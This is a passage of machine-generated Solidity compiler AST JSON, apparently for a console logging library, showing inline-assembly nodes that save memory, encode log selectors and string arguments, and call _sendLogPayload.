","nodeType":"YulIdentifier","src":"82251:6:22"},"nativeSrc":"82251:49:22","nodeType":"YulFunctionCall","src":"82251:49:22"},"nativeSrc":"82251:49:22","nodeType":"YulExpressionStatement","src":"82251:49:22"}]},"name":"writeString","nativeSrc":"81972:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"81993:3:22","nodeType":"YulTypedName","src":"81993:3:22","type":""},{"name":"w","nativeSrc":"81998:1:22","nodeType":"YulTypedName","src":"81998:1:22","type":""}],"src":"81972:342:22"},{"nativeSrc":"82327:17:22","nodeType":"YulAssignment","src":"82327:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"82339:4:22","nodeType":"YulLiteral","src":"82339:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"82333:5:22","nodeType":"YulIdentifier","src":"82333:5:22"},"nativeSrc":"82333:11:22","nodeType":"YulFunctionCall","src":"82333:11:22"},"variableNames":[{"name":"m0","nativeSrc":"82327:2:22","nodeType":"YulIdentifier","src":"82327:2:22"}]},{"nativeSrc":"82357:17:22","nodeType":"YulAssignment","src":"82357:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"82369:4:22","nodeType":"YulLiteral","src":"82369:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"82363:5:22","nodeType":"YulIdentifier","src":"82363:5:22"},"nativeSrc":"82363:11:22","nodeType":"YulFunctionCall","src":"82363:11:22"},"variableNames":[{"name":"m1","nativeSrc":"82357:2:22","nodeType":"YulIdentifier","src":"82357:2:22"}]},{"nativeSrc":"82387:17:22","nodeType":"YulAssignment","src":"82387:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"82399:4:22","nodeType":"YulLiteral","src":"82399:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"82393:5:22","nodeType":"YulIdentifier","src":"82393:5:22"},"nativeSrc":"82393:11:22","nodeType":"YulFunctionCall","src":"82393:11:22"},"variableNames":[{"name":"m2","nativeSrc":"82387:2:22","nodeType":"YulIdentifier","src":"82387:2:22"}]},{"nativeSrc":"82417:17:22","nodeType":"YulAssignment","src":"82417:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"82429:4:22","nodeType":"YulLiteral","src":"82429:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"82423:5:22","nodeType":"YulIdentifier","src":"82423:5:22"},"nativeSrc":"82423:11:22","nodeType":"YulFunctionCall","src":"82423:11:22"},"variableNames":[{"name":"m3","nativeSrc":"82417:2:22","nodeType":"YulIdentifier","src":"82417:2:22"}]},{"nativeSrc":"82447:17:22","nodeType":"YulAssignment","src":"82447:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"82459:4:22","nodeType":"YulLiteral","src":"82459:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"82453:5:22","nodeType":"YulIdentifier","src":"82453:5:22"},"nativeSrc":"82453:11:22","nodeType":"YulFunctionCall","src":"82453:11:22"},"variableNames":[{"name":"m4","nativeSrc":"82447:2:22","nodeType":"YulIdentifier","src":"82447:2:22"}]},{"nativeSrc":"82477:17:22","nodeType":"YulAssignment","src":"82477:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"82489:4:22","nodeType":"YulLiteral","src":"82489:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"82483:5:22","nodeType":"YulIdentifier","src":"82483:5:22"},"nativeSrc":"82483:11:22","nodeType":"YulFunctionCall","src":"82483:11:22"},"variableNames":[{"name":"m5","nativeSrc":"82477:2:22","nodeType":"YulIdentifier","src":"82477:2:22"}]},{"nativeSrc":"82507:17:22","nodeType":"YulAssignment","src":"82507:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"82519:4:22","nodeType":"YulLiteral","src":"82519:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"82513:5:22","nodeType":"YulIdentifier","src":"82513:5:22"},"nativeSrc":"82513:11:22","nodeType":"YulFunctionCall","src":"82513:11:22"},"variableNames":[{"name":"m6","nativeSrc":"82507:2:22","nodeType":"YulIdentifier","src":"82507:2:22"}]},{"nativeSrc":"82537:17:22","nodeType":"YulAssignment","src":"82537:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"82549:4:22","nodeType":"YulLiteral","src":"82549:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"82543:5:22","nodeType":"YulIdentifier","src":"82543:5:22"},"nativeSrc":"82543:11:22","nodeType":"YulFunctionCall","src":"82543:11:22"},"variableNames":[{"name":"m7","nativeSrc":"82537:2:22","nodeType":"YulIdentifier","src":"82537:2:22"}]},{"nativeSrc":"82567:18:22","nodeType":"YulAssignment","src":"82567:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"82579:5:22","nodeType":"YulLiteral","src":"82579:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"82573:5:22","nodeType":"YulIdentifier","src":"82573:5:22"},"nativeSrc":"82573:12:22","nodeType":"YulFunctionCall","src":"82573:12:22"},"variableNames":[{"name":"m8","nativeSrc":"82567:2:22","nodeType":"YulIdentifier","src":"82567:2:22"}]},{"nativeSrc":"82598:18:22","nodeType":"YulAssignment","src":"82598:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"82610:5:22","nodeType":"YulLiteral","src":"82610:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"82604:5:22","nodeType":"YulIdentifier","src":"82604:5:22"},"nativeSrc":"82604:12:22","nodeType":"YulFunctionCall","src":"82604:12:22"},"variableNames":[{"name":"m9","nativeSrc":"82598:2:22","nodeType":"YulIdentifier","src":"82598:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"82692:4:22","nodeType":"YulLiteral","src":"82692:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"82698:10:22","nodeType":"YulLiteral","src":"82698:10:22","type":"","value":"0x2ced7cef"}],"functionName":{"name":"mstore","nativeSrc":"82685:6:22","nodeType":"YulIdentifier","src":"82685:6:22"},"nativeSrc":"82685:24:22","nodeType":"YulFunctionCall","src":"82685:24:22"},"nativeSrc":"82685:24:22","nodeType":"YulExpressionStatement","src":"82685:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"82729:4:22","nodeType":"YulLiteral","src":"82729:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"82735:4:22","nodeType":"YulLiteral","src":"82735:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"82722:6:22","nodeType":"YulIdentifier","src":"82722:6:22"},"nativeSrc":"82722:18:22","nodeType":"YulFunctionCall","src":"82722:18:22"},"nativeSrc":"82722:18:22","nodeType":"YulExpressionStatement","src":"82722:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"82760:4:22","nodeType":"YulLiteral","src":"82760:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"82766:4:22","nodeType":"YulLiteral","src":"82766:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"82753:6:22","nodeType":"YulIdentifier","src":"82753:6:22"},"nativeSrc":"82753:18:22","nodeType":"YulFunctionCall","src":"82753:18:22"},"nativeSrc":"82753:18:22","nodeType":"YulExpressionStatement","src":"82753:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"82791:4:22","nodeType":"YulLiteral","src":"82791:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"82797:4:22","nodeType":"YulLiteral","src":"82797:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mstore","nativeSrc":"82784:6:22","nodeType":"YulIdentifier","src":"82784:6:22"},"nativeSrc":"82784:18:22","nodeType":"YulFunctionCall","src":"82784:18:22"},"nativeSrc":"82784:18:22","nodeType":"YulExpressionStatement","src":"82784:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"82827:4:22","nodeType":"YulLiteral","src":"82827:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"82833:2:22","nodeType":"YulIdentifier","src":"82833:2:22"}],"functionName":{"name":"writeString","nativeSrc":"82815:11:22","nodeType":"YulIdentifier","src":"82815:11:22"},"nativeSrc":"82815:21:22","nodeType":"YulFunctionCall","src":"82815:21:22"},"nativeSrc":"82815:21:22","nodeType":"YulExpressionStatement","src":"82815:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"82861:4:22","nodeType":"YulLiteral","src":"82861:4:22","type":"","value":"0xc0"},{"name":"p1","nativeSrc":"82867:2:22","nodeType":"YulIdentifier","src":"82867:2:22"}],"functionName":{"name":"writeString","nativeSrc":"82849:11:22","nodeType":"YulIdentifier","src":"82849:11:22"},"nativeSrc":"82849:21:22","nodeType":"YulFunctionCall","src":"82849:21:22"},"nativeSrc":"82849:21:22","nodeType":"YulExpressionStatement","src":"82849:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"82895:5:22","nodeType":"YulLiteral","src":"82895:5:22","type":"","value":"0x100"},{"name":"p2","nativeSrc":"82902:2:22","nodeType":"YulIdentifier","src":"82902:2:22"}],"functionName":{"name":"writeString","nativeSrc":"82883:11:22","nodeType":"YulIdentifier","src":"82883:11:22"},"nativeSrc":"82883:22:22","nodeType":"YulFunctionCall","src":"82883:22:22"},"nativeSrc":"82883:22:22","nodeType":"YulExpressionStatement","src":"82883:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36309,"isOffset":false,"isSlot":false,"src":"82327:2:22","valueSize":1},{"declaration":36312,"isOffset":false,"isSlot":false,"src":"82357:2:22","valueSize":1},{"declaration":36315,"isOffset":false,"isSlot":false,"src":"82387:2:22","valueSize":1},{"declaration":36318,"isOffset":false,"isSlot":false,"src":"82417:2:22","valueSize":1},{"declaration":36321,"isOffset":false,"isSlot":false,"src":"82447:2:22","valueSize":1},{"declaration":36324,"isOffset":false,"isSlot":false,"src":"82477:2:22","valueSize":1},{"declaration":36327,"isOffset":false,"isSlot":false,"src":"82507:2:22","valueSize":1},{"declaration":36330,"isOffset":false,"isSlot":false,"src":"82537:2:22","valueSize":1},{"declaration":36333,"isOffset":false,"isSlot":false,"src":"82567:2:22","valueSize":1},{"declaration":36336,"isOffset":false,"isSlot":false,"src":"82598:2:22","valueSize":1},{"declaration":36301,"isOffset":false,"isSlot":false,"src":"82833:2:22","valueSize":1},{"declaration":36303,"isOffset":false,"isSlot":false,"src":"82867:2:22","valueSize":1},{"declaration":36305,"isOffset":false,"isSlot":false,"src":"82902:2:22","valueSize":1}],"id":36338,"nodeType":"InlineAssembly","src":"81949:966:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36340,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"82940:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313234","id":36341,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"82946:5:22","typeDescriptions":{"typeIdentifier":"t_rational_292_by_1","typeString":"int_const 292"},"value":"0x124"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_292_by_1","typeString":"int_const 292"}],"id":36339,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"82924:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"82924:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36343,"nodeType":"ExpressionStatement","src":"82924:28:22"},{"AST":{"nativeSrc":"82971:303:22","nodeType":"YulBlock","src":"82971:303:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"82992:4:22","nodeType":"YulLiteral","src":"82992:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"82998:2:22","nodeType":"YulIdentifier","src":"82998:2:22"}],"functionName":{"name":"mstore","nativeSrc":"82985:6:22","nodeType":"YulIdentifier","src":"82985:6:22"},"nativeSrc":"82985:16:22","nodeType":"YulFunctionCall","src":"82985:16:22"},"nativeSrc":"82985:16:22","nodeType":"YulExpressionStatement","src":"82985:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83021:4:22","nodeType":"YulLiteral","src":"83021:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"83027:2:22","nodeType":"YulIdentifier","src":"83027:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83014:6:22","nodeType":"YulIdentifier","src":"83014:6:22"},"nativeSrc":"83014:16:22","nodeType":"YulFunctionCall","src":"83014:16:22"},"nativeSrc":"83014:16:22","nodeType":"YulExpressionStatement","src":"83014:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83050:4:22","nodeType":"YulLiteral","src":"83050:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"83056:2:22","nodeType":"YulIdentifier","src":"83056:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83043:6:22","nodeType":"YulIdentifier","src":"83043:6:22"},"nativeSrc":"83043:16:22","nodeType":"YulFunctionCall","src":"83043:16:22"},"nativeSrc":"83043:16:22","nodeType":"YulExpressionStatement","src":"83043:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83079:4:22","nodeType":"YulLiteral","src":"83079:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"83085:2:22","nodeType":"YulIdentifier","src":"83085:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83072:6:22","nodeType":"YulIdentifier","src":"83072:6:22"},"nativeSrc":"83072:16:22","nodeType":"YulFunctionCall","src":"83072:16:22"},"nativeSrc":"83072:16:22","nodeType":"YulExpressionStatement","src":"83072:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83108:4:22","nodeType":"YulLiteral","src":"83108:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"83114:2:22","nodeType":"YulIdentifier","src":"83114:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83101:6:22","nodeType":"YulIdentifier","src":"83101:6:22"},"nativeSrc":"83101:16:22","nodeType":"YulFunctionCall","src":"83101:16:22"},"nativeSrc":"83101:16:22","nodeType":"YulExpressionStatement","src":"83101:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83137:4:22","nodeType":"YulLiteral","src":"83137:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"83143:2:22","nodeType":"YulIdentifier","src":"83143:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83130:6:22","nodeType":"YulIdentifier","src":"83130:6:22"},"nativeSrc":"83130:16:22","nodeType":"YulFunctionCall","src":"83130:16:22"},"nativeSrc":"83130:16:22","nodeType":"YulExpressionStatement","src":"83130:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83166:4:22","nodeType":"YulLiteral","src":"83166:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"83172:2:22","nodeType":"YulIdentifier","src":"83172:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83159:6:22","nodeType":"YulIdentifier","src":"83159:6:22"},"nativeSrc":"83159:16:22","nodeType":"YulFunctionCall","src":"83159:16:22"},"nativeSrc":"83159:16:22","nodeType":"YulExpressionStatement","src":"83159:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83195:4:22","nodeType":"YulLiteral","src":"83195:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"83201:2:22","nodeType":"YulIdentifier","src":"83201:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83188:6:22","nodeType":"YulIdentifier","src":"83188:6:22"},"nativeSrc":"83188:16:22","nodeType":"YulFunctionCall","src":"83188:16:22"},"nativeSrc":"83188:16:22","nodeType":"YulExpressionStatement","src":"83188:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83224:5:22","nodeType":"YulLiteral","src":"83224:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"83231:2:22","nodeType":"YulIdentifier","src":"83231:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83217:6:22","nodeType":"YulIdentifier","src":"83217:6:22"},"nativeSrc":"83217:17:22","nodeType":"YulFunctionCall","src":"83217:17:22"},"nativeSrc":"83217:17:22","nodeType":"YulExpressionStatement","src":"83217:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83254:5:22","nodeType":"YulLiteral","src":"83254:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"83261:2:22","nodeType":"YulIdentifier","src":"83261:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83247:6:22","nodeType":"YulIdentifier","src":"83247:6:22"},"nativeSrc":"83247:17:22","nodeType":"YulFunctionCall","src":"83247:17:22"},"nativeSrc":"83247:17:22","nodeType":"YulExpressionStatement","src":"83247:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36309,"isOffset":false,"isSlot":false,"src":"82998:2:22","valueSize":1},{"declaration":36312,"isOffset":false,"isSlot":false,"src":"83027:2:22","valueSize":1},{"declaration":36315,"isOffset":false,"isSlot":false,"src":"83056:2:22","valueSize":1},{"declaration":36318,"isOffset":false,"isSlot":false,"src":"83085:2:22","valueSize":1},{"declaration":36321,"isOffset":false,"isSlot":false,"src":"83114:2:22","valueSize":1},{"declaration":36324,"isOffset":false,"isSlot":false,"src":"83143:2:22","valueSize":1},{"declaration":36327,"isOffset":false,"isSlot":false,"src":"83172:2:22","valueSize":1},{"declaration":36330,"isOffset":false,"isSlot":false,"src":"83201:2:22","valueSize":1},{"declaration":36333,"isOffset":false,"isSlot":false,"src":"83231:2:22","valueSize":1},{"declaration":36336,"isOffset":false,"isSlot":false,"src":"83261:2:22","valueSize":1}],"id":36344,"nodeType":"InlineAssembly","src":"82962:312:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"81685:3:22","parameters":{"id":36306,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36301,"mutability":"mutable","name":"p0","nameLocation":"81697:2:22","nodeType":"VariableDeclaration","scope":36346,"src":"81689:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36300,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81689:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36303,"mutability":"mutable","name":"p1","nameLocation":"81709:2:22","nodeType":"VariableDeclaration","scope":36346,"src":"81701:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36302,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81701:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36305,"mutability":"mutable","name":"p2","nameLocation":"81721:2:22","nodeType":"VariableDeclaration","scope":36346,"src":"81713:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36304,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81713:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"81688:36:22"},"returnParameters":{"id":36307,"nodeType":"ParameterList","parameters":[],"src":"81739:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36380,"nodeType":"FunctionDefinition","src":"83286:792:22","nodes":[],"body":{"id":36379,"nodeType":"Block","src":"83361:717:22","nodes":[],"statements":[{"assignments":[36358],"declarations":[{"constant":false,"id":36358,"mutability":"mutable","name":"m0","nameLocation":"83379:2:22","nodeType":"VariableDeclaration","scope":36379,"src":"83371:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36357,"name":"bytes32","nodeType":"ElementaryTypeName","src":"83371:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36359,"nodeType":"VariableDeclarationStatement","src":"83371:10:22"},{"assignments":[36361],"declarations":[{"constant":false,"id":36361,"mutability":"mutable","name":"m1","nameLocation":"83399:2:22","nodeType":"VariableDeclaration","scope":36379,"src":"83391:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36360,"name":"bytes32","nodeType":"ElementaryTypeName","src":"83391:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36362,"nodeType":"VariableDeclarationStatement","src":"83391:10:22"},{"assignments":[36364],"declarations":[{"constant":false,"id":36364,"mutability":"mutable","name":"m2","nameLocation":"83419:2:22","nodeType":"VariableDeclaration","scope":36379,"src":"83411:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36363,"name":"bytes32","nodeType":"ElementaryTypeName","src":"83411:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36365,"nodeType":"VariableDeclarationStatement","src":"83411:10:22"},{"assignments":[36367],"declarations":[{"constant":false,"id":36367,"mutability":"mutable","name":"m3","nameLocation":"83439:2:22","nodeType":"VariableDeclaration","scope":36379,"src":"83431:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36366,"name":"bytes32","nodeType":"ElementaryTypeName","src":"83431:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36368,"nodeType":"VariableDeclarationStatement","src":"83431:10:22"},{"assignments":[36370],"declarations":[{"constant":false,"id":36370,"mutability":"mutable","name":"m4","nameLocation":"83459:2:22","nodeType":"VariableDeclaration","scope":36379,"src":"83451:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36369,"name":"bytes32","nodeType":"ElementaryTypeName","src":"83451:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36371,"nodeType":"VariableDeclarationStatement","src":"83451:10:22"},{"AST":{"nativeSrc":"83480:381:22","nodeType":"YulBlock","src":"83480:381:22","statements":[{"nativeSrc":"83494:17:22","nodeType":"YulAssignment","src":"83494:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"83506:4:22","nodeType":"YulLiteral","src":"83506:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"83500:5:22","nodeType":"YulIdentifier","src":"83500:5:22"},"nativeSrc":"83500:11:22","nodeType":"YulFunctionCall","src":"83500:11:22"},"variableNames":[{"name":"m0","nativeSrc":"83494:2:22","nodeType":"YulIdentifier","src":"83494:2:22"}]},{"nativeSrc":"83524:17:22","nodeType":"YulAssignment","src":"83524:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"83536:4:22","nodeType":"YulLiteral","src":"83536:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"83530:5:22","nodeType":"YulIdentifier","src":"83530:5:22"},"nativeSrc":"83530:11:22","nodeType":"YulFunctionCall","src":"83530:11:22"},"variableNames":[{"name":"m1","nativeSrc":"83524:2:22","nodeType":"YulIdentifier","src":"83524:2:22"}]},{"nativeSrc":"83554:17:22","nodeType":"YulAssignment","src":"83554:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"83566:4:22","nodeType":"YulLiteral","src":"83566:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"83560:5:22","nodeType":"YulIdentifier","src":"83560:5:22"},"nativeSrc":"83560:11:22","nodeType":"YulFunctionCall","src":"83560:11:22"},"variableNames":[{"name":"m2","nativeSrc":"83554:2:22","nodeType":"YulIdentifier","src":"83554:2:22"}]},{"nativeSrc":"83584:17:22","nodeType":"YulAssignment","src":"83584:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"83596:4:22","nodeType":"YulLiteral","src":"83596:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"83590:5:22","nodeType":"YulIdentifier","src":"83590:5:22"},"nativeSrc":"83590:11:22","nodeType":"YulFunctionCall","src":"83590:11:22"},"variableNames":[{"name":"m3","nativeSrc":"83584:2:22","nodeType":"YulIdentifier","src":"83584:2:22"}]},{"nativeSrc":"83614:17:22","nodeType":"YulAssignment","src":"83614:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"83626:4:22","nodeType":"YulLiteral","src":"83626:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"83620:5:22","nodeType":"YulIdentifier","src":"83620:5:22"},"nativeSrc":"83620:11:22","nodeType":"YulFunctionCall","src":"83620:11:22"},"variableNames":[{"name":"m4","nativeSrc":"83614:2:22","nodeType":"YulIdentifier","src":"83614:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83718:4:22","nodeType":"YulLiteral","src":"83718:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"83724:10:22","nodeType":"YulLiteral","src":"83724:10:22","type":"","value":"0x665bf134"}],"functionName":{"name":"mstore","nativeSrc":"83711:6:22","nodeType":"YulIdentifier","src":"83711:6:22"},"nativeSrc":"83711:24:22","nodeType":"YulFunctionCall","src":"83711:24:22"},"nativeSrc":"83711:24:22","nodeType":"YulExpressionStatement","src":"83711:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83755:4:22","nodeType":"YulLiteral","src":"83755:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"83761:2:22","nodeType":"YulIdentifier","src":"83761:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83748:6:22","nodeType":"YulIdentifier","src":"83748:6:22"},"nativeSrc":"83748:16:22","nodeType":"YulFunctionCall","src":"83748:16:22"},"nativeSrc":"83748:16:22","nodeType":"YulExpressionStatement","src":"83748:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83784:4:22","nodeType":"YulLiteral","src":"83784:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"83790:2:22","nodeType":"YulIdentifier","src":"83790:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83777:6:22","nodeType":"YulIdentifier","src":"83777:6:22"},"nativeSrc":"83777:16:22","nodeType":"YulFunctionCall","src":"83777:16:22"},"nativeSrc":"83777:16:22","nodeType":"YulExpressionStatement","src":"83777:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83813:4:22","nodeType":"YulLiteral","src":"83813:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"83819:2:22","nodeType":"YulIdentifier","src":"83819:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83806:6:22","nodeType":"YulIdentifier","src":"83806:6:22"},"nativeSrc":"83806:16:22","nodeType":"YulFunctionCall","src":"83806:16:22"},"nativeSrc":"83806:16:22","nodeType":"YulExpressionStatement","src":"83806:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83842:4:22","nodeType":"YulLiteral","src":"83842:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"83848:2:22","nodeType":"YulIdentifier","src":"83848:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83835:6:22","nodeType":"YulIdentifier","src":"83835:6:22"},"nativeSrc":"83835:16:22","nodeType":"YulFunctionCall","src":"83835:16:22"},"nativeSrc":"83835:16:22","nodeType":"YulExpressionStatement","src":"83835:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36358,"isOffset":false,"isSlot":false,"src":"83494:2:22","valueSize":1},{"declaration":36361,"isOffset":false,"isSlot":false,"src":"83524:2:22","valueSize":1},{"declaration":36364,"isOffset":false,"isSlot":false,"src":"83554:2:22","valueSize":1},{"declaration":36367,"isOffset":false,"isSlot":false,"src":"83584:2:22","valueSize":1},{"declaration":36370,"isOffset":false,"isSlot":false,"src":"83614:2:22","valueSize":1},{"declaration":36348,"isOffset":false,"isSlot":false,"src":"83761:2:22","valueSize":1},{"declaration":36350,"isOffset":false,"isSlot":false,"src":"83790:2:22","valueSize":1},{"declaration":36352,"isOffset":false,"isSlot":false,"src":"83819:2:22","valueSize":1},{"declaration":36354,"isOffset":false,"isSlot":false,"src":"83848:2:22","valueSize":1}],"id":36372,"nodeType":"InlineAssembly","src":"83471:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36374,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"83886:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36375,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"83892:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36373,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"83870:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function 